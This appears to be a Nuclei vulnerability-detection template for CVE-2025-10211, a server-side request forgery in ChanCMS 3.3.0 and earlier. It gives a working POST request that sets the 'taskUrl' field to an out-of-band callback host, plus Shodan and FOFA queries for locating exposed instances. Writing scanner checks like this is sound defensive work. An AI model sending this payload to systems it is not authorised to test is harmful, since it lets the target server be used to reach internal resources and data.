ChanCMS <= 3.3.0 - Server-Side Request Forgery

id: CVE-2025-10211

info:
  name: ChanCMS <= 3.3.0 - Server-Side Request Forgery
  author: Yu_Bao
  severity: medium
  description: |
    yanyutao0402 ChanCMS 3.3.0 contains a server-side request forgery caused by manipulation of the "taskUrl" argument in /cms/collect/getArticle, letting remote attackers make arbitrary requests, exploit requires no special privileges.
  impact: |
    Remote attackers can make arbitrary requests from the server, potentially accessing internal resources or sensitive data.
  remediation: |
    Update to the latest version of ChanCMS.
  reference:
    - https://gitee.com/yanyutao0402/ChanCMS
    - https://vuldb.com/?id.323484
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L
    cvss-score: 6.3
    cve-id: CVE-2025-10211
    epss-score: 0.0075
    epss-percentile: 0.55303
    cwe-id: CWE-918
  metadata:
    verified: true
    max-request: 1
    shodan-query: http.html:"ChanCMS"
    fofa-query: body="ChanCMS"
  tags: cve,cve2025,chancms,ssrf,oast,oob,vkev,vuln

http:
  - method: POST
    path:
      - "{{BaseURL}}/cms/collect/getArticle"

    headers:
      Content-Type: application/json

    body: |
      {
        "taskUrl": "http://{{interactsh-url}}",
        "titleTag": "title",
        "articleTag": "body",
        "parseData": "return data;"
      }

    matchers:
      - type: dsl
        dsl:
          - contains(interactsh_protocol, 'dns')
          - contains_all(response, 'success','article')
          - status_code == 200
        condition: and